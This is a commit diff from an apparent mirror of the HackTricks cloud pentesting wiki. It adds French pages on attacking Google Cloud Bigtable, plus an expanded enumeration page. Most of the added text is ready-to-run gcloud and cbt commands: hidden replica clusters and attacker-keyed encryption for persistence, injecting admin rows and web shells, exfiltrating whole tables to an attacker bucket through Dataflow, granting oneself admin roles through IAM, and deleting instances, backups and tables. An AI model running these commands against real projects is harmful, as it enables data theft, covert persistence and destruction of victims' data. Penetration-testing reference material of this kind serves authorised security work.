mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta
This commit is contained in:
Translator
@@ -0,0 +1,52 @@
|
||||
# GCP - Bigtable Persistance
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Pour plus d'informations sur Bigtable, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### App Profile dédié à l'attaquant
|
||||
|
||||
**Autorisations :** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
Créez un app profile qui redirige le trafic vers votre replica cluster et activez Data Boost afin de ne jamais dépendre de provisioned nodes que les défenseurs pourraient détecter.
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
--row-affinity --description="internal batch"
|
||||
|
||||
gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
Tant que ce profil existe, vous pouvez vous reconnecter en utilisant des identifiants récents qui le référencent.
|
||||
|
||||
### Maintenez votre propre cluster répliqué
|
||||
|
||||
**Autorisations:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
Provisionnez un cluster avec un nombre minimal de nœuds dans une région peu active. Même si vos identités client disparaissent, **le cluster conserve une copie complète de chaque table** jusqu'à ce que les défenseurs la suppriment explicitement.
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
Surveillez-le via `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` afin de pouvoir mettre à l'échelle instantanément lorsque vous devez récupérer des données.
|
||||
|
||||
### Verrouillez la réplication derrière votre propre CMEK
|
||||
|
||||
**Permissions:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` sur la clé contrôlée par l'attaquant.
|
||||
|
||||
Fournissez votre propre clé KMS lors du déploiement d'un clone. Sans cette clé, Google ne peut pas recréer ni basculer le cluster, donc les blue teams doivent se coordonner avec vous avant d'y toucher.
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
Faites pivoter ou désactivez la clé dans votre projet pour rendre la réplique immédiatement inutilisable (tout en vous permettant de la réactiver plus tard).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+252
@@ -0,0 +1,252 @@
|
||||
# GCP - Bigtable Post-exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Pour plus d'informations sur Bigtable, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Installez l'interface en ligne de commande `cbt` une fois via le Cloud SDK afin que les commandes ci-dessous fonctionnent localement :
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
|
||||
### Lire les lignes
|
||||
|
||||
**Permissions :** `bigtable.tables.readRows`
|
||||
|
||||
`cbt` est fourni avec le Cloud SDK et interagit directement avec les APIs admin/data sans passer par un middleware. Pointez-le vers le projet/instance compromis et extrayez les lignes directement de la table. Limitez le scan si vous ne voulez qu'un aperçu.
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
### Écrire des lignes
|
||||
|
||||
**Autorisations :** `bigtable.tables.mutateRows`, (vous aurez besoin de `bigtable.tables.readRows` pour confirmer la modification).
|
||||
|
||||
Utilisez le même outil pour upsert des cellules arbitraires. C'est le moyen le plus rapide pour backdoorer des configs, déposer des web shells, ou implanter des rows de dataset empoisonnées.
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
|
||||
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` accepte des octets bruts via la syntaxe `@/path`, vous pouvez donc pousser des compiled payloads ou des serialized protobufs exactement comme les downstream services s'y attendent.
|
||||
|
||||
### Exporter les lignes vers votre bucket
|
||||
|
||||
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Il est possible d'exfiltrer le contenu d'une table entière vers un bucket contrôlé par l'attaquant en lançant un job Dataflow qui envoie les lignes vers un bucket GCS que vous contrôlez.
|
||||
|
||||
> [!NOTE]
|
||||
> Notez que vous aurez besoin de la permission `iam.serviceAccounts.actAs` sur un SA disposant de permissions suffisantes pour effectuer l'export (par défaut, si cela n'est pas indiqué autrement, le default compute SA sera utilisé).
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=<PROJECT> \
|
||||
--region=<REGION> \
|
||||
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run dump-bigtable3 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--region=us-central1 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
> [!NOTE]
|
||||
> Changez le modèle pour `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` si vous voulez des sorties Parquet/SequenceFile au lieu de JSON. Les permissions sont les mêmes ; seul le chemin du modèle change.
|
||||
|
||||
### Importer des lignes
|
||||
|
||||
**Autorisations:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Il est possible d'importer le contenu d'une table entière depuis un bucket contrôlé par l'attaquant en lançant un job Dataflow qui stream des lignes vers un bucket GCS que vous contrôlez. Pour cela, l'attaquant devra d'abord créer un fichier parquet contenant les données à importer avec le schéma attendu. Un attaquant pourrait d'abord exporter les données au format parquet en suivant la technique précédente avec le paramètre `Cloud_Bigtable_to_GCS_Parquet` et ajouter de nouvelles entrées dans le fichier parquet téléchargé
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> Notez que vous aurez besoin de l'autorisation `iam.serviceAccounts.actAs` sur un SA disposant des permissions suffisantes pour effectuer l'export (par défaut, si rien d'autre n'est indiqué, le SA compute par défaut sera utilisé).
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=<PROJECT> \
|
||||
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=us-central1 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
### Restauration des sauvegardes
|
||||
|
||||
**Permissions:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
Un attaquant disposant de ces permissions peut restaurer une sauvegarde dans une nouvelle table sous son contrôle afin de pouvoir récupérer d'anciennes données sensibles.
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
|
||||
gcloud bigtable instances tables restore \
|
||||
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
|
||||
--async \
|
||||
--destination=<TABLE_ID_NEW> \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### Restaurer des tables
|
||||
|
||||
**Permissions:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable prend en charge la suppression temporaire avec une période de grâce (généralement 7 jours par défaut). Pendant cette fenêtre, un attaquant disposant de l'autorisation `bigtable.tables.undelete` peut restaurer une table récemment supprimée et récupérer toutes ses données, pouvant accéder à des informations sensibles considérées comme détruites.
|
||||
|
||||
Ceci est particulièrement utile pour :
|
||||
- Récupérer des données depuis des tables supprimées par les défenseurs lors de la réponse aux incidents
|
||||
- Accéder à des données historiques qui ont été intentionnellement purgées
|
||||
- Annuler des suppressions accidentelles ou malveillantes pour maintenir la persistance
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
--show-deleted
|
||||
|
||||
# Undelete a table within the retention period
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> L'opération undelete ne fonctionne que dans la période de rétention configurée (par défaut 7 jours). Après l'expiration de cette fenêtre, la table et ses données sont définitivement supprimées et ne peuvent pas être récupérées par cette méthode.
|
||||
|
||||
|
||||
### Créer des Authorized Views
|
||||
|
||||
**Autorisations :** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Authorized views vous permettent de présenter un sous-ensemble sélectionné de la table. Au lieu de respecter le principe du moindre privilège, utilisez-les pour publier **exactement les ensembles de colonnes/lignes sensibles** qui vous intéressent et whitelist your own principal.
|
||||
|
||||
> [!WARNING]
|
||||
> Le problème est que pour créer une authorized view, vous devez aussi pouvoir lire et muter des lignes dans la table de base ; vous n'obtenez donc aucune permission supplémentaire, et cette technique est donc essentiellement inutile.
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": ["acct#"],
|
||||
"familySubsets": {
|
||||
"pii": {
|
||||
"qualifiers": ["cc_number", "cc_cvv"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
gcloud bigtable authorized-views create card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/credit-cards.json
|
||||
|
||||
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
Comme l'accès est limité à la view, les défenseurs négligent souvent le fait que vous venez de créer un nouveau point de terminaison à haute sensibilité.
|
||||
|
||||
### Read Authorized Views
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Si vous avez accès à un Authorized View, vous pouvez lire des données depuis celui-ci en utilisant les bibliothèques clientes Bigtable en spécifiant le nom de l'Authorized View dans vos requêtes de lecture. Notez que l'Authorized View limitera probablement ce à quoi vous avez accès dans la table. Ci-dessous un exemple en Python:
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
from google.cloud.bigtable_v2 import ReadRowsRequest
|
||||
|
||||
# Set your project, instance, table, view id
|
||||
PROJECT_ID = "gcp-labs-3uis1xlx"
|
||||
INSTANCE_ID = "avesc-20251118172913"
|
||||
TABLE_ID = "prod-orders"
|
||||
AUTHORIZED_VIEW_ID = "auth_view"
|
||||
|
||||
client = bigtable.Client(project=PROJECT_ID, admin=True)
|
||||
instance = client.instance(INSTANCE_ID)
|
||||
table = instance.table(TABLE_ID)
|
||||
|
||||
data_client = DataClient()
|
||||
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
|
||||
|
||||
request = ReadRowsRequest(
|
||||
authorized_view_name=authorized_view_name
|
||||
)
|
||||
|
||||
rows = data_client.read_rows(request=request)
|
||||
for response in rows:
|
||||
for chunk in response.chunks:
|
||||
if chunk.row_key:
|
||||
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
|
||||
print(f"Row: {row_key}")
|
||||
if chunk.family_name:
|
||||
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
|
||||
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
### Denial of Service via Delete Operations
|
||||
|
||||
**Autorisations :** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Toutes les permissions de suppression de Bigtable peuvent être exploitées pour des denial of service attacks. Un attaquant disposant de ces autorisations peut perturber les opérations en supprimant des ressources Bigtable critiques :
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: Supprimer les profils d'application, rompant les connexions clientes et les configurations de routage
|
||||
- **`bigtable.authorizedViews.delete`**: Retirer des vues autorisées, coupant les chemins d'accès légitimes pour les applications
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Supprimer les liaisons de tags des vues autorisées
|
||||
- **`bigtable.backups.delete`**: Détruire les instantanés de sauvegarde, éliminant les options de reprise après sinistre
|
||||
- **`bigtable.clusters.delete`**: Supprimer des clusters entiers, provoquant une indisponibilité immédiate des données
|
||||
- **`bigtable.instances.delete`**: Supprimer des instances Bigtable complètes, effaçant toutes les tables et configurations
|
||||
- **`bigtable.tables.delete`**: Supprimer des tables individuelles, entraînant une perte de données et des défaillances d'application
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an authorized view
|
||||
gcloud bigtable authorized-views delete <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
|
||||
# Delete a backup
|
||||
gcloud bigtable backups delete <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id>
|
||||
|
||||
# Delete an app profile
|
||||
gcloud bigtable app-profiles delete <profile-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete a cluster
|
||||
gcloud bigtable clusters delete <cluster-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Les opérations de suppression sont souvent immédiates et irréversibles. Assurez-vous que des sauvegardes existent avant de tester ces commandes, car elles peuvent provoquer une perte de données permanente et une interruption majeure du service.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,106 @@
|
||||
# GCP - Bigtable Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Pour plus d'informations sur Bigtable, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**Permissions :** `bigtable.instances.setIamPolicy` (et généralement `bigtable.instances.getIamPolicy` pour lire les liaisons actuelles).
|
||||
|
||||
Posséder la stratégie IAM de l'instance vous permet de vous attribuer **`roles/bigtable.admin`** (ou n'importe quel rôle personnalisé) qui se propage à tous les clusters, tables, sauvegardes et vues autorisées de l'instance.
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> Si vous ne pouvez pas lister les bindings existants, créez un nouveau document de policy et poussez-le avec `gcloud bigtable instances set-iam-policy` à condition d'y conserver vos propres droits.
|
||||
|
||||
Après avoir obtenu cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour d'autres façons d'abuser des permissions Bigtable.
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**Permissions :** `bigtable.tables.setIamPolicy` (optionnellement `bigtable.tables.getIamPolicy`).
|
||||
|
||||
Les politiques d'instance peuvent être verrouillées tandis que des tables individuelles sont déléguées. Si vous pouvez modifier l'IAM de la table, vous pouvez **vous promouvoir en tant que propriétaire du dataset cible** sans toucher aux autres workloads.
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Une fois en possession de cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour d'autres façons d'abuser des permissions Bigtable.
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**Permissions :** `bigtable.backups.setIamPolicy`
|
||||
|
||||
Les sauvegardes peuvent être restaurées dans **n'importe quelle instance de n'importe quel projet** que vous contrôlez. D'abord, donnez à votre identité l'accès à la sauvegarde, puis restaurez-la dans un sandbox où vous disposez des rôles Admin/Owner.
|
||||
|
||||
Si vous avez la permission `bigtable.backups.setIamPolicy`, vous pouvez vous accorder la permission `bigtable.backups.restore` pour restaurer d'anciennes sauvegardes et tenter d'accéder à des informations sensibles.
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Après avoir obtenu cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour voir comment restaurer une sauvegarde.
|
||||
|
||||
|
||||
### Update authorized view
|
||||
|
||||
**Autorisations :** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views sont censées masquer des lignes/colonnes. Les modifier ou les supprimer **supprime les garde-fous granulaires** sur lesquels les défenseurs comptent.
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/permissive-view.json --ignore-warnings
|
||||
|
||||
# Json example not filtering any row or column
|
||||
cat <<'EOF' > /tmp/permissive-view.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": [""],
|
||||
"familySubsets": {
|
||||
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
|
||||
"qualifierPrefixes": [""]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Describe the authorized view to get a family name
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
Si vous disposez de cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour savoir comment lire depuis une Authorized View.
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**Autorisations :** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
Un attaquant disposant de cette permission peut s'accorder l'accès à une Authorized View, qui peut contenir des données sensibles auxquelles il n'aurait pas autrement accès.
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
Après avoir effectué cette vérification des permissions dans la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour voir comment lire depuis une vue autorisée.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -2,9 +2,70 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
|
||||
## Bigtable
|
||||
|
||||
Un service de base de données NoSQL entièrement géré et évolutif pour de grandes charges de travail analytiques et opérationnelles avec jusqu'à 99,999 % de disponibilité. [Learn more](https://cloud.google.com/bigtable).
|
||||
Google Cloud Bigtable est une base de données NoSQL entièrement gérée et évolutive, conçue pour des applications nécessitant un débit extrêmement élevé et une très faible latence. Elle est conçue pour gérer des volumes massifs de données — des pétaoctets répartis sur des milliers de nœuds — tout en offrant des performances rapides en lecture et en écriture. Bigtable est idéale pour des charges de travail telles que les séries temporelles, la télémétrie IoT, l'analytique financière, les moteurs de personnalisation et les bases de données opérationnelles à grande échelle. Elle utilise une map triée multidimensionnelle, sparse et distribuée comme modèle de stockage sous-jacent, ce qui la rend efficace pour stocker des tables larges où de nombreuses colonnes peuvent être vides. [Learn more](https://cloud.google.com/bigtable).
|
||||
|
||||
### Hiérarchie
|
||||
|
||||
1. **Bigtable Instance**
|
||||
|
||||
Une Bigtable instance est la ressource de niveau supérieur que vous créez.
|
||||
Elle ne stocke pas les données en elle-même — pensez-y comme un conteneur logique qui regroupe vos clusters et vos tables.
|
||||
|
||||
Il existe deux types d'instances :
|
||||
|
||||
- instance de développement (nœud unique, peu coûteuse, pas pour la production)
|
||||
- instance de production (peut avoir plusieurs clusters)
|
||||
|
||||
2. **Clusters**
|
||||
|
||||
Un cluster contient les ressources réelles de calcul et de stockage utilisées pour servir les données Bigtable.
|
||||
|
||||
- Chaque cluster réside dans une seule région.
|
||||
- Il est composé de nœuds, qui fournissent CPU, RAM et capacité réseau.
|
||||
- Vous pouvez créer des instances multi-clusters pour la haute disponibilité ou des lectures/écritures globales.
|
||||
- Les données sont automatiquement répliquées entre les clusters d'une même instance.
|
||||
|
||||
Important :
|
||||
- Les tables appartiennent à l'instance, pas à un cluster spécifique.
|
||||
- Les clusters fournissent simplement les ressources pour servir les données.
|
||||
|
||||
3. **Tables**
|
||||
|
||||
Une table dans Bigtable est similaire à une table dans les bases de données NoSQL :
|
||||
|
||||
- Les données sont stockées en lignes, identifiées par une clé de ligne.
|
||||
- Chaque ligne contient des column families, qui contiennent des colonnes.
|
||||
- Elles sont sparse : les cellules vides ne consomment pas d'espace.
|
||||
- Bigtable stocke les données triées lexicographiquement par la clé de ligne.
|
||||
|
||||
Les tables sont servies par tous les clusters de l'instance.
|
||||
|
||||
4. **Tablets (and Hot Tablets)**
|
||||
|
||||
Bigtable divise chaque table en partitions horizontales appelées tablets. Une tablet est :
|
||||
|
||||
- Une plage contiguë de clés de ligne.
|
||||
- Stockée sur un seul nœud à un moment donné.
|
||||
- Les tablets sont automatiquement scindées, fusionnées et déplacées par Bigtable.
|
||||
|
||||
Un **hot tablet** survient lorsque :
|
||||
|
||||
- Trop de lectures ou d'écritures ciblent la même plage de clés de ligne (même tablet).
|
||||
- Ce tablet/nœud spécifique devient surchargé.
|
||||
- Cela entraîne des hotspots (goulots d'étranglement de performance).
|
||||
|
||||
5. **Authorized Views**
|
||||
|
||||
Les authorized views permettent de créer un sous-ensemble des données d'une table pouvant être partagé avec des utilisateurs ou des applications spécifiques sans leur donner accès à la table entière. Cela est utile pour :
|
||||
|
||||
- Limiter l'accès aux données sensibles.
|
||||
- Fournir un accès en lecture seule à des colonnes ou des lignes spécifiques.
|
||||
|
||||
6. **App Profiles**
|
||||
|
||||
Un app profile Bigtable est une configuration qui définit comment une application ou un client spécifique doit interagir avec une instance Bigtable, en particulier dans des environnements multi-clusters. Il contrôle le comportement de routage — si les requêtes doivent être dirigées vers un seul cluster ou réparties entre plusieurs clusters pour la haute disponibilité — et gouverne la façon dont les écritures sont répliquées, en choisissant entre des modes synchrones (consistance plus forte) ou asynchrones (latence plus faible).
|
||||
```bash
|
||||
# Cloud Bigtable
|
||||
gcloud bigtable instances list
|
||||
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
|
||||
gcloud bigtable clusters list
|
||||
gcloud bigtable clusters describe <cluster>
|
||||
|
||||
## Tables
|
||||
gcloud bigtable tables list --instance <INSTANCE>
|
||||
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
|
||||
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
|
||||
|
||||
## Backups
|
||||
gcloud bigtable backups list --instance <INSTANCE>
|
||||
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
|
||||
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
|
||||
## App Profiles
|
||||
gcloud bigtable app-profiles list --instance <INSTANCE>
|
||||
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
|
||||
|
||||
## Authorized Views
|
||||
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
|
||||
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
|
||||
```
|
||||
## Escalade de privilèges
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigtable-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post-exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistance
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-bigtable-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user